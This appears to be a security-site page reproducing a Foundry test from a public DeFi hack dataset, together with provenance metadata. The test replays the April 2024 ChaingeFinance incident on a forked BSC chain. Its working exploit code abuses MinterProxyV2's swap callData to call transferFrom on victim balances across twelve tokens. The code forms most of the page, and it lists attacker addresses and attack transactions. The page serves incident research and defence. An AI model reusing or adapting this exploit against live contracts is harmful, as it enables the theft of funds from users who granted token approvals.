Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/ChaingeFinance_exp.sol

Public reproduction file for dataset entry ChaingeFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/ChaingeFinance_exp.sol144 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost : ~200K
7// Attacker1 : https://bscscan.com/address/0x6eec0f4c017afe3dfadf32b51339c37e9fd59dfb
8// Attack Contract : https://bscscan.com/address/0x791c6542bc52efe4f20df0ee672b88579ae3fd9a
9// Vulnerable Contract : https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf
10// Attack Tx1 : https://bscscan.com/tx/0x051276afa96f2a2bd2ac224339793d82f6076f76ffa8d1b9e6febd49a4ec11b2
11// Attack Tx2 : https://bscscan.com/tx/0x407e09faabf7072cd10dc86b7fa3180ccc1701f52f7fdca29464568498c30997
12// Attack Tx3 : https://bscscan.com/tx/0x21d8b164f0cb8beb1ed27d164ed986c3fc26b33655ce18226b05b9cfcf6cd93c
14// Attacker2 : https://bscscan.com/address/0xacdbe7b770a14ca3bc34865ac3986c0ce771fd68
15// Attack Contract : https://bscscan.com/address/0x52b19de39476823d33ab4b1edbec91e29dadba38
16// Attack Tx : https://bscscan.com/tx/0xd348b5fc00b26fc1457b70d02f9cb5e5a66a564cc4eba2136a473866a47dac08
18// @Info
19// Vulnerable Contract Code : https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf#code
21// @Analysis
22// https://x.com/CertiKAlert/status/1779863821122691519
23// https://x.com/ChainAegis/status/1780064080512143429
24// https://github.com/Autosaida/DeFiHackAnalysis/blob/master/analysis/240415_ChaingeFinance.md
26interface IBEP20 {
27 function totalSupply() external view returns (uint256);
28 function decimals() external view returns (uint8);
29 function symbol() external view returns (string memory);
30 function name() external view returns (string memory);
31 function getOwner() external view returns (address);
32 function balanceOf(
33 address account
34 ) external view returns (uint256);
35 function transfer(address recipient, uint256 amount) external returns (bool);
36 function allowance(address _owner, address spender) external view returns (uint256);
37 function approve(address spender, uint256 amount) external returns (bool);
38 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
40 event Transfer(address indexed from, address indexed to, uint256 value);
41 event Approval(address indexed owner, address indexed spender, uint256 value);
44interface MinterProxyV2 {
45 function swap(
46 address tokenAddr,
47 uint256 amount,
48 address target,
49 address receiveToken,
50 address receiver,
51 uint256 minAmount,
52 bytes calldata callData,
53 bytes calldata order
54 ) external payable;
57contract ChaingeFinanceTest is Test {
58 IBEP20 constant usdt = IBEP20(0x55d398326f99059fF775485246999027B3197955);
59 IBEP20 constant sol = IBEP20(0x570A5D26f7765Ecb712C0924E4De545B89fD43dF);
60 IBEP20 constant AVAX = IBEP20(0x1CE0c2827e2eF14D5C4f29a091d735A204794041);
61 IBEP20 constant babydoge = IBEP20(0xc748673057861a797275CD8A068AbB95A902e8de);
62 IBEP20 constant FOLKI = IBEP20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E);
63 IBEP20 constant ATOM = IBEP20(0x0Eb3a705fc54725037CC9e008bDede697f62F335);
64 IBEP20 constant TLOS = IBEP20(0xb6C53431608E626AC81a9776ac3e999c5556717c);
65 IBEP20 constant IOTX = IBEP20(0x9678E42ceBEb63F23197D726B29b1CB20d0064E5);
66 IBEP20 constant linch = IBEP20(0x111111111117dC0aa78b770fA6A738034120C302);
67 IBEP20 constant link = IBEP20(0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD);
68 IBEP20 constant btcb = IBEP20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
69 IBEP20 constant eth = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
70 address constant victim = 0x8A4AA176007196D48d39C89402d3753c39AE64c1;
71 MinterProxyV2 minterproxy = MinterProxyV2(0x80a0D7A6FD2A22982Ce282933b384568E5c852bF);
72 uint256 balance;
74 uint256 blocknumToForkFrom = 37_880_387;
76 function setUp() public {
77 vm.createSelectFork("bsc", blocknumToForkFrom);
78 }
80 function testExploit() public {
81 address[12] memory targetToken = [
82 address(usdt),
83 address(sol),
84 address(AVAX),
85 address(babydoge),
86 address(FOLKI),
87 address(ATOM),
88 address(TLOS),
89 address(IOTX),
90 address(linch),
91 address(link),
92 address(btcb),
93 address(eth)
94 ];
96 for (uint256 i = 0; i < targetToken.length; i++) {
97 _attack(targetToken[i]);
98 }
99 }
101 function _attack(
102 address targetToken
103 ) private {
104 uint256 Balance = IBEP20(targetToken).balanceOf(victim);
105 uint256 Allowance = IBEP20(targetToken).allowance(victim, address(minterproxy));
106 uint256 amount = Balance < Allowance ? Balance : Allowance;
107 if (amount == 0) {
108 emit log_named_string("No allowed targetToken", IBEP20(targetToken).name());
109 return;
110 }
111 bytes memory transferFromData =
112 abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), amount);
113 minterproxy.swap(
114 address(this), 1, targetToken, address(this), address(this), 1, transferFromData, bytes(hex"00")
115 );
116 emit log_named_string("targetToken", IBEP20(targetToken).name());
117 emit log_named_decimal_uint(
118 "profit", IBEP20(targetToken).balanceOf(address(this)), IBEP20(targetToken).decimals()
119 );
120 }
122 function balanceOf(
123 address /*account*/
124 ) external view returns (uint256) {
125 return balance;
126 }
128 function transfer(address, /*recipient*/ uint256 /*amount*/ ) external pure returns (bool) {
129 return true;
130 }
132 function allowance(address, /*_owner*/ address /*spender*/ ) external pure returns (uint256) {
133 return type(uint256).max;
134 }
136 function approve(address, /*spender*/ uint256 /*amount*/ ) external pure returns (bool) {
137 return true;
138 }
140 function transferFrom(address, /*sender*/ address, /*recipient*/ uint256 amount) external returns (bool) {
141 balance += amount;
142 return true;
143 }

Analysis

Dataset entry

Public Foundry test for “ChaingeFinance” (2024-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6eec0f4c017afe3dfadf32b51339c37e9fd59dfb

  • Attack Contract

    0x791c6542bc52efe4f20df0ee672b88579ae3fd9a

  • Vulnerable Contract

    0x80a0d7a6fd2a22982ce282933b384568e5c852bf

  • Attacker

    0xacdbe7b770a14ca3bc34865ac3986c0ce771fd68

  • Attack Contract

    0x52b19de39476823d33ab4b1edbec91e29dadba38

  • Attack Tx

    0x051276afa96f2a2bd2ac224339793d82f6076f76ffa8d1b9e6febd49a4ec11b2

  • Attack Tx

    0x407e09faabf7072cd10dc86b7fa3180ccc1701f52f7fdca29464568498c30997

  • Attack Tx

    0x21d8b164f0cb8beb1ed27d164ed986c3fc26b33655ce18226b05b9cfcf6cd93c

  • Attack Tx

    0xd348b5fc00b26fc1457b70d02f9cb5e5a66a564cc4eba2136a473866a47dac08

File record

Name
ChaingeFinance
Path
src/test/2024-04/ChaingeFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8d7291f90f99d126157ae2732f03f6a613dba593
Language
Solidity
Size
145 lines
Date
2024-04-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/ChaingeFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d7291f90f99d126157ae2732f03f6a613dba593, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.